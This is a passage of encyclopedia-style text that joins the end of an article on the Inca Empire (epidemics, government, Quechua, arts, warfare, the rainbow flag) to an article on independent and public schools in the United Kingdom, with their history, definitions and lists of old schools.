          The effects of smallpox on the Inca empire were even more devastating. Beginning in Colombia, smallpox spread rapidly before the Spanish invaders first arrived in the empire. The spread was probably aided by the efficient Inca road system. Within months, the disease had killed the Sapa Inca Huayna Capac, his successor, and most of the other leaders. Two of his surviving sons warred for power and, after a bloody and costly war of the two brothers, Atahualpa become the new Sapa Inca. As Atahualpa was returning to the capital Cuzco, Francisco Pizarro arrived and through a series of deceits captured the young leader and his best general. Within a few years smallpox claimed between 60% and 94% of the Inca population, with other waves of European disease weakening them further. Smallpox was only the first epidemic.


          Typhus (probably) in 1546, influenza and smallpox together in 1558, smallpox again in 1589, diphtheria in 1614, measles in 1618 - all ravaged the remains of Inca culture.


          


          Society


          


          Organization of the Empire
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          The most powerful figure in the empire was the Sapa Inca ('the unique Inca'). Only descendants of the original Inca tribe ever ascended to the level of Inca. Most young members of the Inca's family attended Yachay Wasis (houses of knowledge) to obtain their education.


          The Tawantinsuyu was a federalist system which consisted of a central government with the Inca at its head and four provinces: Chinchay Suyu (NW), Anti Suyu (NE), Kunti Suyu (SW), and Qulla Suyu (SE). The four corners of these provinces met at the centre, Cusco. Each province had a governor who oversaw local officials, who in turn supervised agriculturally-productive river valleys, cities and mines. There were separate chains of command for both the military and religious institutions, which created a system of partial checks and balances on power. The local officials were responsible for settling disputes and keeping track of each family's contribution to the mita (mandatory public service).


          


          Language


          For more information look at Quechua


          Since the Inca Empire lacked a written language, the empire's main form of communication and recording came from quipus and Quechua, the language the Incas imposed upon the peoples within the empire. The plethora of civilizations in the Andean region provided for a general disunity that the Incas needed to subdue in order to maintain control, peace, and order within all of the empire. Hence, by establishing a uniform language, the Incas would be able to better achieve such a goal. Nonetheless, it should be noted that Quechua had been spoken in the Andean region, like central Peru, for several years prior to the expansion of the Inca civilization. Moreover, the type of Quechua the Incas imposed was an adaptation from the Kingdom of Cusco (an early form of "Southern Quechua") of what some historians define as "Proto-Quechua" (The original Quechua dialect).


          As in many societies of the world, the language imposed by the Incas further diverted from its original phonetic tone as some societies formed their own regional varieties, or slang. Of course, the diversity of Quechua at that point and even today does not come as a direct result from the Incas, whom are just a part of the reason for Quechua's diversity. The civilizations within the empire that had previously spoken Quechua kept their own variety distinct to the Quechua the Incas spread. Although these many kinds of Quechua were in some form similar, they were not the exact same thing. Not only that, but even though most of the societies within the empire implemented Quechua into their lives, the Incas allowed several societies kept their old languages such as Aymara, which still remains a spoken language in various parts of South America. The linguistic body of the Tawantinsuyu was thus still largely varied, but it still remains quite an achievement for the Incas that went even beyond their times as the Spanish continued to use the spread of Quechua as a method to impose their culture upon the peoples of South America (even though that further increased the diversity of the language).


          On the other hand, the actual "Inca," or ruling elite, their kind of Quechua tended to remain somewhat closer to the "early Southern Quechua" of the Kingdom of Cusco mainly due to the complex educational facilities the Tawantinsuyu offered them. This standardized governmental Quechua is what served as the backbone for the Tawantinsuyu, but it also differentiated the social status of the community. Moreover, some historians even discuss the possibility that the "secret language" of the ruling elite might have simply been another form of Quechua.


          


          Life, education and beliefs
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          The Inca diet consisted primarily of potatoes and grains, supplemented by fish, vegetables, nuts, and maize (corn). Camelid (llama and alpaca) meat and cuyes (guinea pigs) were also eaten in large quantities.. In addition, they hunted various wild animals for meat, skins and feathers. Maize was malted and used to make chicha, a fermented alcoholic beverage. The Inca road system was key to farming success as it allowed distribution of foodstuffs over long distances. The Inca also constructed vast storehouses, which allowed them to live through El Nio years while neighboring civilizations suffered.


          The Inca believed in reincarnation. Those who obeyed the Incan moral code  ama suwa, ama llulla, ama quella (do not steal, do not lie, do not be lazy)  "went to live in the Sun's warmth while others spent their eternal days in the cold earth". The Inca also practiced cranial deformation. They achieved this by wrapping tight cloth straps around the heads of newborns in order to alter the shape of their still-soft skulls into a more conical form. Studies are needed to determine whether these deformations caused actual brain damage.


          


          Aqllawasi


          The Aqllawasi (Acllahuasi) which means "house of the sun virgins" was developed under the Incans in Peru at about 14381532 CE. Its central purpose was in the manufacturing of garments for the Inca royalty and the worship of the sun god, Inti.


          


          Arts and technology
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          Monumental architecture


          Architecture was by far the most important of the Inca arts, with pottery and textiles reflecting motifs that were at their height in architecture. The main example is the capital city of Cuzco itself. The breathtaking site of Machu Picchu was constructed by Inca engineers. The stone temples constructed by the Inca used a mortarless construction that fit together so well that you couldn't fit a knife through the stonework. This was a process first used on a large scale by the Pucara (ca. 300 BCAD 300) peoples to the south in Lake Titicaca, and later in the great city of Tiwanaku (ca. AD 4001100) in present day Bolivia. The Inca imported the stoneworkers of the Tiwanaku region to Cuzco when they conquered the lands south of Lake Titicaca. The rocks used in construction were sculpted to fit together exactly by repeatedly lowering a rock onto another and carving away any sections on the lower rock where the dust was compressed. The tight fit and the concavity on the lower rocks made them extraordinarily stable.


          


          Ceramics, precious metal work, and textiles


          Almost all of the gold and silver work of the empire was melted down by the conquistadores. Ceramics were painted in numerous motifs including birds, waves, felines, and geometric patterns. The most distinctive Inca ceramic objects are the Cusco bottles or aryballos. Many of these pieces are on display in Lima in the Larco Archaeological Museum and the National Museum of Archaeology, Anthropology and History.


          


          Mathematics and astronomy


          A very important Inca technology was the Quipu, which were assemblages of knotted strings used to record information, the exact nature of which is no longer known. Originally it was thought that Quipu were used only as mnemonic devices or to record numerical data. Recent discoveries, however, have led to the theory that these devices were instead a form of writing in their own right.


          The Inca made many discoveries in medicine. They performed successful skull surgery, which involved cutting holes in the skull to release pressure from head wounds. Coca leaves were used to lessen hunger and pain, as they still are in the Andes. The Chasqui (messengers) chewed coca leaves for extra energy to carry on their tasks as runners delivering messages throughout the empire.


          


          Weapons, armor, and warfare
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          The Incas used weapons and had wars with other civilizations in the area. The Inca army was the most powerful in the area at that time, because they could turn an ordinary villager or farmer into a soldier, ready for battle. This is because every male Inca had to take part in war at least once so as to be prepared for warfare again when needed. By the time the empire had reached its large size, every section of the empire contributed in setting up an army for war.


          The Incas had no iron or steel, and their weapons were no better than those of their enemies. They went into battle with the beating of drums and the blowing of trumpets. The armor used by the Incas included:


          
            	Helmets made of wood, copper, bronze, cane, or animal skin; some were adorned with feathers


            	Round or square shields made from wood or hide


            	Cloth tunics padded with cotton and small wooden planks to protect spine

          


          The Inca weaponry included:


          
            	Bronze or bone-tipped spears


            	Two-handed wooden swords with serrated edges (notched with teeth, like a saw)


            	Clubs with stone and spiked metal heads


            	Woolen slings and stones


            	Stone or copper headed battle-axes


            	Stones fastened to lengths of cord (bola)

          


          Roads allowed very quick movement for the Inca army, and shelters called quolla were built one day's distance in travelling from each other, so that an army on campaign could always be fed and rested. (The name for the Sapa Inca's storehouses was tambo. This can be seen in names of ruins such as Ollantay Tambo, or My Lord's Storehouse. These were set up so the Inca and his entourage would always have supplies (and possibly shelter) ready as he traveled.)


          


          Inca flag
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          There are 16th and 17th century chronicles and references that support the idea of a banner, or flag, attributable to the Inca.


          Francisco Lpez de Jerezwrote in 1534:


          
            "all of them came distributed into squads, with their flags and captains commanding them, as well-ordered as Turks"

            ("todos venan repartidos en sus escuadras con sus banderas y capitanes que los mandan, con tanto concierto como turcos").

          


          The chronicler, Bernab Cobo, wrote:


          
            "The royal standard or banner was a small square flag, ten or twelve spans around, made of cotton or wool linen, placed on the end of a long staff, stretched and stiff such that it did not wave in the air, and on it each king painted his arms and emblems, for each one chose different ones, though the sign of the Incas was the rainbow."

            (...el guin o estandarte real era una banderilla cuadrada y pequea, de diez o doce palmos de ruedo, hecha de lienzo de algodn o de lana, iba puesta en el remate de una asta larga, tendida y tiesa, sin que ondease al aire, y en ella pintaba cada rey sus armas y divisas, porque cada uno las escoga diferentes, aunque las generales de los Incas eran el arco celeste.)

            -Bernab Cobo, Historia del Nuevo Mundo (1653)

          


          Guaman Poma's 1615 book, El primer nueva cornica y buen gobierno, shows numerous line drawings of Inca flags.


          In modern times the rainbow flag has been associated with the Tawantinsuyu and is displayed as a symbol of Inca heritage in Peru and Bolivia. The city of Cusco flies the Rainbow Flag. Peruvian President Alejandro Toledo (20012006) flew the Rainbow Flag in Lima's presidential palace. The Rainbow Flag was taken down by President Alan Garcia in July 2006.


          


          Legacy


          The major languages of the empire, Quechua and Aymara, were employed by the Roman Catholic Church to evangelize in the Andean region. In some cases, these languages were taught to peoples who had originally spoken other indigenous languages. Today, Quechua and Aymara remain the most widespread Amerindian languages.those who spoke these two languages were regarded higher than the others and referred to as middle-class
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        Independent school (UK)


        
          

          An independent school in the United Kingdom is a school relying, for all of its funding, upon private sources, predominantly school fees. In England and Wales the term public school is sometimes used for some of the largest independent schools. Otherwise the term private school is used. It is not, however, normal to refer to schools that are considered to be public schools as "private schools", although they may be called "independent schools" (and frequently now use that term to define themselves).


          Some independent schools, particularly the more traditional institutions, also have charitable status. Research shows that UK independent schools receive approximately 100m tax relief due to charitable status whilst returning 300m of fee assistance in public benefit and relieving the maintained sector of 2bn of costs.


          There are more than 2,500 independent schools in the UK, educating some 615,000 children, the Telegraph claiming seven per cent of children are educated in private schools throughout the country. Most of the larger independent schools are either full or partial boarding schools.


          


          Independent schools in England


          The Independent Schools Council (ISC), through seven affiliated organisations, represents 1,289 schools that together educate over 80% of the pupils in the UK independent sector. Those schools in England which are members of the affiliated organisations of the ISC are inspected by the Independent Schools Inspectorate under a framework agreed between ISC, the Department for Children, Schools and Families (DCSF) and the Office for Standards in Education (Ofsted). Independent Schools not affiliated to the ISC in England and Independent schools accredited to the ISC in Scotland and Wales and Northern Ireland are inspected through the national inspectorates in each country.


          


          Independent schools in Scotland


          Independent schools in Scotland educate about 31,000 children. Although many of the Scottish independent schools are members of the ISC they are also represented by the Scottish Independent Schools Council, which is the body recognised by the Scottish Parliament as the body representing independent schools in Scotland. Unlike England all Scottish independent schools are subject to the same regime of inspections by Her Majesty's Inspectorate of Education as local authority schools and they have to register with the Scottish Executive Education Department.


          Most of Scotland's independent schools are in Edinburgh or Glasgow. However, notable schools in the country include Robert Gordon's College in Aberdeen, Dollar Academy in Clackmannanshire, Glenalmond College in Perth and Kinross and Gordonstoun in Elgin.


          There are five ancient Scottish 'Academies', all private schools. These are Dollar Academy (1818), Edinburgh Academy (1824), Glasgow Academy (1845), Morrison's Academy (1860) and Kelvinside Academy (1878). With the exception of Glasgow and Morrison's Academies, these schools are all housed in Grecian classical buildings and Edinburgh and Kelvinside Academies share the same Greek motto -   (Ever to be the best).


          See List of independent schools in Scotland for a full list, by county, by cost and by academic results.


          Historically, in Scotland, it was common for children destined for independent schools (usually sons of the upper classes) to receive their primary education at a local school. This arose because of Scotland's long tradition of public education, which was spearheaded by the Church of Scotland from the seventeenth century, long before such education was common in England. Independent prep schools only became more widespread in Scotland from the late 19th century (usually attached to an existing secondary independent school, though exceptions such as Cargilfield do exist), though they are still much less prevalent than in England. They are, however, currently gaining in numbers as the quality of state education is perceived to be in decline.


          


          Selection and conditions


          Independent schools are entirely free to select their own pupils (subject to the general legislation against various forms of discrimination). Nowadays most schools pay little regard to family connections, apart from siblings currently at the school. Although some credit may be given for musical or sporting promise, the principal forms of selection are academic and financial (parents' ability to pay fees and costs, averaging 19,000 per annum for boarding pupils and 9,000 for day pupils). Some parents make immense sacrifices to be able to send their children to these schools; bursaries are available, but it is still only a minority who can afford to send their children. Educational achievement is excellent. Independent school pupils are four times more likely to attain an A* at GCSE than their state sector counterparts and twice as likely to attain an A grade at A level.. Pastoral care is regarded as excellent. As independent schools do not have to follow the national curriculum, a wider range of subjects are available for study. In addition, schools invest heavily in sporting, musical and art facilities in order to gain competitive advantage over rival schools.


          Some independent schools are highly selective on academic grounds, using the competitive Common Entrance examinations at ages 11-13. Limited scholarships are offered to attract bright pupils, sometimes approaching GCSE standard. Means-tested bursaries (scholarships) to assist the education of the less well-off, a mission which may form the historic basis of the school, are usually awarded to a small minority following a selection process which combines academic and non-academic factors. Pupil teacher ratios are around 9:1. Facilities for dyslexia or for gifted children are common, and other special needs are accommodated at the school's discretion.


          Independent schools, as compared with maintained schools, are generally characterised by more individual teaching; longer teaching hours (sometimes including Saturday morning teaching), though shorter terms; more time for organised sports; a broader view of education than that prescribed by the national curriculum, to which state school education is in practice limited; more emphasis on achievement, whether academic, sporting, musical, dramatic or artistic, or otherwise; more availability of traditional academic subjects such as classics, maths and modern foreign languages; and historical buildings and traditions.


          Independent schools are able to set their own discipline regime within the national framework of legislation. Consequentially, independent schools have greater freedom to exclude children, primarily with a view to the wider interests of the school: the most usual causes being drug-taking, whether at school or away, or any notorious rejection of the school's values, such as academic dishonesty or violence.


          In England and Wales there are no requirements for teaching staff to have Qualified Teacher Status or to be registered with the General Teaching Council. In Scotland a teaching qualification and registration with the General Teaching Council for Scotland (GTCS) is mandatory for all teaching positions.


          


          Preparatory schools


          In England and Wales a preparatory school, or prep school in current usage, is an independent school designed to prepare a pupil for fee-paying, secondary independent school. The age range is normally eight to eleven or thirteen, although it may include younger pupils as well. An independent school which only caters for under eights is a "pre-prep" and the junior departments of prep schools which cover the first years of schooling are also called "pre-preps".


          The Incorporated Association of Preparatory Schools(IAPS) is the prep schools heads association serving the top 500+ independent prep schools in the UK and Worldwide. IAPS is one of seven affiliated associations of the Independent Schools Council.


          There are 130,000 pupils in over 500 schools of all types and sizes. Prep schools may be for boys or girls only, or may be co-educational. They may be day schools, boarding schools, weekly boarding, flexi-boarding, or a combination. They fall into the following general categories:


          
            	Wholly independent prep schools, both charitable and proprietary.


            	Junior schools linked to senior schools.


            	Choir schools, which educate child choristers of cathedrals and some other large religious institutions; they all accept non-chorister pupils with the exception of Westminster Abbey Choir School. These schools are usually affiliated to Anglican churches, but may occasionally be associated with Catholic ones such as Westminster Cathedral.


            	Schools offering special educational provision or facilities.


            	Schools with particular religious affiliations.

          


          


          Terminology


          Public school in the British Isles is a label sometimes applied to leading fee-charging independent schools in England and Wales which are members of the Headmasters' and Headmistresses' Conference. In Scotland and Ireland it is not commonly used in this sense for schools in those countries (and indeed in Scotland and Northern Ireland the phrase has long been an alternative name for council schools in the state sector). A public school (in the independent sense) usually teaches children from the ages of 11 or 13 (the latter being the traditional age at which boys moved from prep school to public school, although many now move at 11) to 18, and was traditionally a single-sex boarding school, although most now accept day pupils and are coeducational. The majority date back to the 18th or 19th centuries, but several are over 600 years old. Nine old-established schools were regulated by the Public Schools Act 1868. Today nearly all such schools, no matter their history, tend to officially call themselves "independent schools". It is suggested that the origin of the term came from distinguishing such a public institution open to anybody who paid the fees from the education provided by private tutors. The earliest known reference to a "public school" dates from 1364 when the Bishop of Winchester wrote concerning "the public school" at Kingston, which was then part of the diocese of Winchester.


          This English usage of the word "public" contrasts with the expectations of many English speakers from around the world. Outside the British Isles people usually refer to fee-paying schools as private schools or independent schools; many would assume that the word "public" should imply public financial support. Indeed, in many countries "public school" is the commonplace name for any government-maintained school where instruction is provided free of charge and attendance may be compulsory up to certain age. In England such a maintained school would commonly be called a state school, a local authority school, or a foundation or community school. Usage in Scotland has its own particular nuances; as in England nowadays, there is a tendency to avoid the phrase "public school" altogether, and to speak of "state schools" or "council schools" on the one hand and "private" or "independent schools" on the other. However, contrary to practice in England, the phrase "public school" is used in official documents (and still sometimes colloquially) to refer to Scottish state-funded schools. When the term is applied informally to independent schools located in Scotland some interpret the usage as an Anglicism or a parody of English usage.


          The English usage dates to an era before the development of widespread national state-sponsored education in England and Wales, although Scotland had early universal provision of education through the Church of Scotland dating from the mid 16th century, and the system of education in Scotland remains separate and different from the system covering England and Wales. Some schools (often called " grammar schools") were sponsored by towns or villages or by guilds, others by cathedrals for their choir. "Private schools" were owned and operated by their headmasters, to their own profit or loss, and often in their own houses. "Public schools" often drew students from across the country to board; in the 19th-century golden era of public schools, boys from upper-class families typically began their education with home tutoring or as a day student at a local private school (what would today be called a preparatory school), and then went off to board at a public school once old enough.


          The term in England can be traced to the Middle Ages, an era when most education was accomplished by tutoring or monasteries. In later centuries, the landed classes educated their boys at home, with visiting resident tutors, or with the local clergyman -- that is, privately, away from the hurly-burly of the towns. In the 19th century, it became the fashion to send boys to mix with their contemporaries, that is, to be educated publicly. Public schools were independent charities, that started by often offering free education. As time passed, such schools expanded greatly in size to include many fee-paying students alongside a few charitable scholars, until they acquired their upper-class connotations. By the late 19th century, public schools were characterized not so much by the way the schools were governed or the students educated as by a very specific ethos of student life often celebrated or parodied in the novels of the day, the best-known of which is probably Tom Brown's Schooldays.


          


          Differing definitions


          The head teachers of major British independent boys' and mixed schools belong to the Headmasters' and Headmistresses' Conference (HMC), and a common definition of a public school is any school whose head teacher is a member of the HMC. It is debatable as to whether any girls' school can be considered to be a public school. Public schools are often divided into "major" and "minor" public schools, but these are not official definitions and the inclusion of a school in one or the other group is purely subjective (although a select few would be included in any list of "major" schools). Thus, in E W Hornung's book Raffles Further Adventures (1901), the following exchange takes place: "'Varsity man?" "No." "Public school?" "Yes." "Which one?" I told him, and he sighed relief. "At last! You're the very first I've not had to argue with as to what is and what is not a public school." A similar exchange takes place in " Murder must Advertise" by Dorothy L. Sayers:'"What' would you call a public school, then?" "Eton...and Harrow" "Rugby?" "No no, that's a railway junction!"'


          Prior to the Clarendon Commission, a Royal Commission that investigated the public school system in England between 1861 and 1864, there was no clear definition of a public school. The commission investigated nine of the more established schools: two day schools ( Merchant Taylors', London and St Paul's) and seven boarding schools ( Charterhouse, Eton, Harrow, Rugby, Shrewsbury, Westminster and Winchester). A report published by the commission formed the basis of the Public Schools Act 1868.


          Another way of determining the major public schools is to distinguish them by the players allowed to play in the Butterfly Cricket Club which was founded by an old Rugbiean. Only players who came from what were and are considered the major public schools were allowed to play. The schools included Charterhouse, Eton, Harrow, Marlborough, Oakham, Rugby, Westminster and Winchester.


          However, the common perception of public schools is that they pre-date the 20th century and were established as boys-only schools even if they are now coeducational, with distinctive traditions and high academic performance.


          Some suggest that only particularly old independent schools should be afforded the dignity of "public school" (see Lists of independent schools in the UK below).


          


          Public Schools Yearbook


          The Public Schools Yearbook published in 1889 named the following 25 boarding schools, all in England:


          
            
              
                	
                  
                    
                      	Bedford School


                      	Bradfield College


                      	Brighton College


                      	Charterhouse School


                      	Cheltenham College


                      	Clifton College


                      	Dover College


                      	Dulwich College


                      	Eton College

                    

                  

                

                	
                  
                    
                      	Haileybury College


                      	Harrow School


                      	Lancing College


                      	Malvern College


                      	Marlborough College


                      	Radley College


                      	Repton School


                      	Rossall School

                    

                  

                

                	
                  
                    
                      	Rugby School


                      	Sherborne School


                      	Shrewsbury School


                      	Tonbridge School


                      	Uppingham School


                      	Wellington College


                      	Westminster School


                      	Winchester College

                    

                  

                
              

            

          


          However, it notably omitted the Merchant Taylors' and St Paul's day schools that had been listed in the Act. It also omitted others, including Epsom College and the City of London School, a day school (which derived from a medival foundation of 1442) was reconstituted by a private Act of Parliament in 1835 and was held to be a public school by the Divisional Court in the case of Blake v City of London in 1886.


          


          Tom Brown's Universe


          J. R. De Symons Honey, writing in 1977, attempted to define which independent schools could be classified as public schools. He shows numerous studies and classifying sytems before settling on the following schools and categories:

          Class 1 public schools:


          
            
              
                	
                  
                    
                      	Charterhouse School


                      	Cheltenham College


                      	Clifton College


                      	Eton College


                      	Haileybury College

                    

                  

                

                	
                  
                    
                      	Harrow School


                      	Malvern College


                      	Marlborough College


                      	Radley College

                    

                  

                

                	
                  
                    
                      	Repton School


                      	Rossall School


                      	Rugby School


                      	St. Paul's School

                    

                  

                

                	
                  
                    
                      	Sherborne School


                      	Uppingham School


                      	Westminster School


                      	Winchester College

                    

                  

                
              

            

          


          Class 2 public schools:


          
            
              
                	
                  
                    
                      	Bedford School


                      	Bradfield College


                      	Dulwich College

                    

                  

                

                	
                  
                    
                      	Fettes College


                      	Glenalmond College


                      	Loretto School

                    

                  

                

                	
                  
                    
                      	Merchant Taylors' School, Northwood


                      	Oakham School


                      	Oundle School

                    

                  

                

                	
                  
                    
                      	Sedbergh School


                      	Shrewsbury School


                      	Tonbridge School


                      	Wellington College

                    

                  

                
              

            

          


          Interestingly there are no Catholic schools in this list as most were ignored by the fiercely Anglican Victorian society. As a result, schools such as Stonyhurst, Ampleforth and Downside are excluded from the list, despite being considered today amongst the ranks of the other schools listed above.


          


          Other Public Schools


          A handful of day schools (non boarding) founded in the 19th century were widely considered to be "major Public schools" by the 20th century due to their reputation and alumni.


          These included University College School, founded by University College London in 1830, and which for much of the 19th century had gained infamy in educational circles as the 'Godless school of Gower Street'. However, by 1907, it was important enough for Edward VII, accompanied by the Archbishop of Canterbury, to open the school's new site in Hampstead.


          Similarly, King's College School, founded by George IV in 1829 along with King's College London, quickly became recognised as an important school.


          Both schools are now members of the exclusive Eton Group of Independent schools.


          Perhaps the best way to tell if a school is a "Grand Public School" in modern times is to check an edition of Who's Who. The headmasters of the most prestigious schools have an entry there by virtue of their position.


          


          Origins of independent schools


          Some public schools are particularly old, such as The King's School, Canterbury (founded c.600), Sherborne School (founded c.710, refounded 1550 by Edward VI), Warwick (founded c.914), The King's School, Ely (founded c.970), Bedford School (granted Letters Patent by Edward VI in 1552, though the original school is recorded in the Domesday Book of 1085) Westminster (founded 1179 if not before), High School of Dundee (founded 1239), Stamford School (re-endowed in 1532, but in existence as far back as 1309), Eton ( 1440), and Winchester ( 1382), this last of which has maintained the longest unbroken history of any school in England. These were often established for male scholars from poor or disadvantaged backgrounds; however, English law has always regarded education as a charitable end in itself, irrespective of poverty. For instance, the Queen's Scholarships founded at Westminster in 1560, are for "the sons of decay'd gentlemen".


          The transformation of free charitable foundations into expensive institutions came about readily: the foundation would only afford minimal facilities, so that further fees might be charged to lodge, clothe and otherwise maintain the scholars, to the private profit of the trustees or headmaster; and also facilities already provided by the charitable foundation for a few scholars could profitably be extended to further paying pupils. (Some schools still keep their foundation scholars in a separate house from other pupils). After a time, such fees would eclipse the original charitable income, and the endowment would naturally become a minor part of the capital benefactions enjoyed by the school. Nowadays there is remarkably little difference between the fees of an ancient public school with magnificent facilities, grounds and endowments, and those of many minor public schools with little capital: effectively the capital and income from former benefactors finance superior facilities, which attract better staff and wealthy parents who may be generous in their turn.


          However, some do demand significantly higher fees than others, the most expensive being (in order) Eton, Winchester, Charterhouse, Cranleigh, Harrow, Gordonstoun, Cheltenham Ladies College, Cheltenham College, Dean Close, Bedales, Rugby, Badminton School, and St John's School, Leatherhead.


          One school which continues its charitable foundation ethos is Christ's Hospital, a boarding school in Horsham; fees are charged according to the family income (in 2005, about one third of the pupils paid less than 250 per year). Well-off families are discouraged - the number of pupils that pay the full fee (~15,000) is limited to 6% of the School population. Millfield is a modern foundation with a significant proportion of its pupils on scholarships for those with limited means.


          The educational reforms of the nineteenth century were particularly important under first Arnold at Rugby, and Butler and later Kennedy at Shrewsbury, the former emphasising team spirit and muscular Christianity and the latter the importance of scholarship and competitive examinations. Most public schools developed significantly during the 18th and 19th centuries, and came to play an important role in the development of the Victorian social elite. Under a number of forward-looking headmasters leading public schools created a curriculum based heavily on classics and physical activity for boys and young men of the upper and upper middle classes.


          They were schools for the gentlemanly elite of Victorian politics, armed forces and colonial government. Often successful businessmen would send their sons to a public school as a mark of participation in the elite. Much of the discipline was in the hands of senior pupils (usually known as prefects), which was not just a means to reduce staffing costs, but was also seen as vital preparation for those pupils' later rles in public or military service. More recently heads of public schools have been emphasising that senior pupils now play a much reduced role in disciplining.


          To an extent, the public school system influenced the school systems of the British empire, and recognisably 'public' schools can be found in many Commonwealth countries.


          


          Associations with the ruling class


          The role of public schools in preparing pupils for the gentlemanly elite in the period before World War 2 meant that such education, particularly in its classical focus and social mannerism, became a mark of the ruling class. For three hundred years, the officers and senior administrators of the "empire upon which the sun never set" invariably sent their sons back home to boarding schools for education as English gentlemen, often for uninterrupted periods of a year or more at a time.


          The 19th century public school ethos promoted ideas of service to Crown and Empire, understood by the broader public in familiar sentiments such as "it's not whether you win or lose, it's how you play the game" and "the battle of Waterloo was won on the playing fields of Eton". Ex-pupils often had a nostalgic affection for their old schools and a public school tie could be useful in a career, so an "old boy network" of former pupils became important.


          The English public school model influenced the nineteenth century development of Scottish private schools, but a tradition of the gentry sharing primary education with their tenants kept Scotland comparatively egalitarian.


          Acceptance of social elitism was set back by the two World Wars, but despite portrayals of the products of public schools as "silly asses" and "toffs" the old "system" at its most pervasive continued well into the 1960s, reflected in contemporary popular fiction such as Len Deighton's The IPCRESS File, with its sub-text of tension between the grammar school educated protagonist and the public school background of his superiors and posh but inept colleague. Postwar social change has however gradually been reflected across Britain's educational system, while at the same time fears of problems with state education have pushed any parents who can afford the fees or qualify for bursaries towards public schools, which now prefer to be known as independent schools.


          The political elite of Britain are often products of independent schools. The Labour Party's leaders Clement Attlee, Hugh Gaitskell and Tony Blair were all educated in the private sector despite the Socialist traditions of the Party. The current Conservative leader, David Cameron was educated at Eton, whilst his Shadow Chancellor George Osborne attended St Paul's School.


          In 2003 84.5% of senior Judges in England and Wales were educated at independent schools, as surveyed in . This is especially significant considering just 7% of all British children are educated at independent schools.


          


          Oldest independent schools in the UK


          Amongst the oldest independent schools in the UK are (chronologically):


          
            
              
                	
                  
                    Cor Tewdws (College of Theodosius), Llantwit Major (446 - closed down in reign of Henry VIII)


                    
                      	The King's School, Canterbury ( 597)


                      	The King's School, Rochester ( 604)


                      	St Peter's School, York ( 627)


                      	Sherborne School ( early 8th C)


                      	Wells Cathedral School ( 909)


                      	Warwick School ( 914?)


                      	St Albans School ( 948)


                      	The King's School, Ely ( 970)


                      	Norwich School, Norwich ( 1096)


                      	High School of Glasgow ( 1124)


                      	Bristol Cathedral School ( 1140)


                      	Westminster School ( 1179)


                      	High School of Dundee ( 1239)


                      	Abingdon School ( 1256) (possibly as old as ( 1100))


                      	Royal Grammar School Worcester ( 1291)


                      	Hull Grammar School ( 1330)


                      	Bablake School ( 1344)


                      	Wisbech Grammar School ( 1379)


                      	Winchester College ( 1382)


                      	Hereford Cathedral School ( 1384)


                      	Oswestry School ( 1407)


                      	Durham School ( 1414)


                      	Sevenoaks School ( 1432)


                      	Eton College ( 1440)


                      	City of London School ( 1442)


                      	St Dunstan's College (earlier than ( 1446))


                      	Magdalen College School, Oxford ( 1480)


                      	Stockport Grammar School ( 1487)


                      	Loughborough Grammar School ( 1496)


                      	Giggleswick School ( 1507)


                      	St Paul's School ( 1509)


                      	Queen Elizabeth's Grammar School, Blackburn ( 1509)


                      	Royal Grammar School, Guildford ( 1509)


                      	Wolverhampton Grammar School ( 1512)


                      	Nottingham High School ( 1513)


                      	Pocklington School ( 1514)


                      	Manchester Grammar School ( 1515)

                    

                  

                

                	
                  
                    
                      	Bolton School ( 1516)


                      	Tudor Hall School (1850)


                      	King's School, Bruton ( 1519)


                      	Royal Grammar School, Newcastle ( 1525)


                      	Sedbergh School ( 1525)


                      	Ipswich School ( 1528)


                      	The College of Richard Collyer ( 1532)


                      	Bristol Grammar School ( 1532)


                      	Stamford School ( 1532)


                      	Berkhamsted Collegiate School ( 1541)


                      	Christ College Brecon ( 1541)


                      	The King's School, Gloucester ( 1541) (dates back to the (11th century))


                      	The King's School, Worcester ( 1541)


                      	The King's School, Chester ( 1541)


                      	Dauntsey's School ( 1542)


                      	King Henry VIII School ( 1545)


                      	Bradford Grammar School ( 1548)


                      	Bedford School ( 1552)


                      	King Edward's School, Birmingham ( 1552)


                      	King Edward's School, Bath ( 1552)


                      	Shrewsbury School ( 1552)


                      	Leeds Grammar School ( 1552)


                      	Bromsgrove School ( 1553)


                      	Christ's Hospital ( 1553)


                      	King Edward's School, Witley ( 1553)


                      	Tonbridge School ( 1553)


                      	King Edward VI School, Southampton ( 1553)


                      	Gresham's School ( 1555)


                      	Oundle School ( 1556)


                      	Hampton School ( 1556)


                      	Brentwood School ( 1557)


                      	Repton School ( 1557)


                      	Solihull School ( 1560)


                      	Kingston Grammar School ( 1561)


                      	Merchant Taylors' School ( 1561)


                      	Elizabeth College, Guernsey ( 1563)

                    

                  

                

                	
                  
                    
                      	Felsted School ( 1564)


                      	Highgate School ( 1565)


                      	Rugby School ( 1567)


                      	Colfe's School ( 1568) (refounded ( 1652))


                      	St Edmund's College ( 1568)


                      	Bury Grammar School ( 1570)


                      	Harrow ( 1572)


                      	Sutton Valence School ( 1576)


                      	Woodbridge School ( 1577)


                      	St Bees ( 1583)


                      	Oakham School ( 1584)


                      	Uppingham School ( 1584)


                      	Queen Elizabeth's Hospital ( 1590)


                      	Queen Elizabeth's Grammar School, Wakefield ( 1591)


                      	Stonyhurst College ( 1593)


                      	Emanuel School ( 1594)


                      	Wellingborough School ( 1595)


                      	Whitgift School ( 1596)


                      	Aldenham School ( 1597)


                      	Kimbolton School ( 1600)


                      	Blundell's School ( 1604)


                      	Downside School ( 1607)


                      	Charterhouse School ( 1611)


                      	Batley Grammar School ( 1612)


                      	Monmouth School ( 1614)


                      	Haberdashers' Aske's School ( 1614)


                      	Douai School ( 1615)


                      	Perse School ( 1615)


                      	Foyle College ( 1617) (founded as: The Free School)


                      	Dulwich College ( 1619) (founded as: The College of "God's Gift")


                      	Merchant Taylors' School, Crosby ( 1620)


                      	Latymer Upper School ( 1624)


                      	Chigwell School ( 1629)


                      	Exeter School ( 1633)


                      	Red Maids' School ( 1634)


                      	Hutchesons' Grammar School ( 1641)


                      	The Maynard School ( 1658) (all girls)


                      	George Heriot's School ( 1659)

                    

                  

                
              

            

          


          


          Criticisms


          It is not a requirement in the independent sector, as opposed to the state sector, to be a qualified teacher to teach in schools.


          The former classics-based curriculum was also criticised for not providing skills in sciences or engineering. It was Martin Wiener's opposition to this tendency which inspired his 1981 polemic "English Culture and the Decline of the Industrial Spirit: 1850-1980". It became a huge influence on the Thatcher government's opposition to old-school gentlemanly Toryism. This has now been turned on its head. Independent schools provide a disproportionately high number of science, modern foreign language and maths undergraduates.


